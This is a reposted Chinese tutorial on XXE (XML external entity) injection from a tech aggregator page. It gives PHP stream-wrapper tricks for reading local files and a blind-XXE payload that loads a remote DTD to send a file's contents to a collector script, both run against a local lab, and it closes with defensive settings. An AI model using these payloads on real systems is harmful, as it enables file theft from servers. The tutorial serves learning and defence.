我的编程空间,编程开发者的网络收藏夹
学习永远不晚

XML注入学习

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

XML注入学习

一、什么是XML注入

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
简单来说xml就是用来存储数据的。

二、XML的特点

XML仅仅是纯文本,他不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)

三、XML的定义

首先是XML声明,然后是DTD部分 >

如下图

]>&entityex;

什么是XML注入

XML注入又叫XXE攻击,全称为XML External Entity,从安全的角度来理解,可以叫做XML外部实体攻击。在XML实体中,关键字‘’system‘’可以让XML解析器从URL中读取内容,并允许他在XML文档中被替换,因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现, 就是攻击者强制XML解析器去访问攻击者指定的资源内容(可以是系统上本地文件也可以是远程系统上的文件)

XEE扩展

外部引用可支持http,file等协议,不同的语言支持的协议不同,但是存在一些通用的协议,具体内容如下在这里插入图片描述使用的条件:
flie://协议在双off的情况下也是可以正常使用的
allow_url_fopen: off/on
allow-url_fopen: off/on
flie:// 用于访问本地文件系统,在CTF中常用来读取本地文件
使用方法:file://文件的绝对路径和文件名

php://协议不需要开启allow_url_fopen
php://input、php://stdin、php://memory和php://temp需要开启allow_url_include

php://filter 用于读取源码且在双off的情况下也能正常使用
Eg:http://127.0.0.1/cmd.php?flie=php://filter/read=convert.base64-encode/resource=index.php

php://input 可以访问请求的原始数据的只读流,将POST请求中的数据作为PHP代码执行
allow_url_fopen:off/on
allow_url_include:on
Eg: http://127.0.0.1/cmd.php?flie=php://input
[POST DATA]

XXE漏洞原理

大体有四种方式:
1.simplexml_load_string()函数造成的回显注入
2.SimpleXMLElement()对象造成的回显注入
3.DOMDocument()类造成的回显注入
4.BlindXXE形式==>>也是由simplexml_load_string()函数造成的无回显注入

靶场实现

无回显注入 需要引用外部实体,下面是我搭建的靶场,在一个php文件下发现有simplexml_load_string函数
HTTP_RAW_POST_DATA是我们要传的参数,simplexml_load_string函数将形式良好的XML字符串转换为SimpleXMLElement对象,如下图所示
在这里插入图片描述向POST请求传参playload

$test =<<<EOF<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:\phpstudy_pro\WWW\925\a.txt"><!ENTITY % remote SYSTEM "http://127.0.0.1/925/1.xml"> %remote;%send; ]>

引用1.xml,1.xml会将读取的文件发给2.php,2.php会把读取的内容保存在3.txt.这样就成功读取了我们想要读取的文件。在这里插入图片描述2.php

漏洞防御方法

需要条件

程序允许引入外部实体
2.用户可以控制输入

方案一、使用开发语言提供的禁用外部实体的方法
PHP: libxml_ disable_ entity_ loader(true);
其他语言:
documentBuilderFactory.setExpandEntityReferences(false);
documentBuilderFactory.setFeature(XMLConstants.)FEATURE_SECURE_PROCESSING,true);
方案二、过滤用户提交的XML数据 关键词:,SYSTEM和PUBLIC.

来源地址:https://blog.csdn.net/xujunhui222/article/details/122846459

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

XML注入学习

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

2023-09-07

Python学习--xml-Elemen

当你需要解析和处理 XML 的时候,Python 表现出了它 “batteries included” 的一面。 标准库 中大量可用的模块和工具足以应对 Python 或者是 XML 的新手。ElementTree 生来就是为了处理 XML
2023-01-31

SQL注入之sqlmap入门学习

目录一、判断是否存在注入点二、查询当前用户下所有数据库三、获取数据库中的表名四、获取表中的字段名五、获取字段内容六、获取数据库的所有用户七、获取数据库用户的密码八、获取当前网站数据库的名称九、获取当前网站数据库的用户名javascript称
2023-05-12

SQL注入宽字节注入由浅到深学习

这篇文章主要为大家介绍了SQL注入宽字节注入由浅到深学习,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
2023-02-24
2023-09-02

Vue3学习笔记之依赖注入Provide/Inject

provide和inject可以实现嵌套组件之间进行传递数据,这两个函数都是在setup函数中使用的,下面这篇文章主要给大家介绍了关于Vue3学习笔记之依赖注入Provide / Inject的相关资料,需要的朋友可以参考下
2023-05-19

python3基础学习(XML文件解析)

对于RSS源的XML文件,开头如下:  对于这类xml的解析代码如下:f
2023-01-31

Spring学习之依赖注入的方法(三种)

spring框架为我们提供了三种注入方式,分别是set注入,构造方法注入,接口注入。今天就和大家一起来学习一下依赖注入的基本概念依赖注入(Dependecy Injection),也称为IoC(Invert of Control),是一种有
2023-05-31

Node.js学习入门

开始之前,安利一本正在看的书《站在两个世界的边缘》,作者程浩,上帝丢给他太多理想,却忘了给他完成理想的时间。OK,有兴趣的可以看一看。 node.js如标题一样,我也是刚开始接触,大家一起学习,有不当的地方望指正。node.js是做什么的,
2022-06-04

redis深入学习

Redis持久化官方文档:https://redis.io/topics/persistence1.RDB和AOF优缺点RDB: 可以在指定的时间间隔内生成数据集的时间点快照,把当前内存里的状态快照到磁盘上优点: 压缩格式/恢复速度快,适用于备份,主从复制也是
redis深入学习
2015-11-22

MySQL入门学习

数据库的好处 1.持久存到本地 2.可以实现结构化查询,方便管理 数据库相关概念 1.DB:数据库,保存一组有组织的数据的融通器 2.DBMS:数据库管理系统,又称数据库软件(产品),用于管理DB中的数据 3.
MySQL入门学习
2015-02-25

python入门学习

首先在官网下载好python3.6及以上的版本,根据自己的系统选择:没有显示64位的就是32位的安装包,选择蓝线的能够直接打开在控制台输入python,配置成功的图片如下:从IDLE打开python输入指令 print("I love py
2023-01-31

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录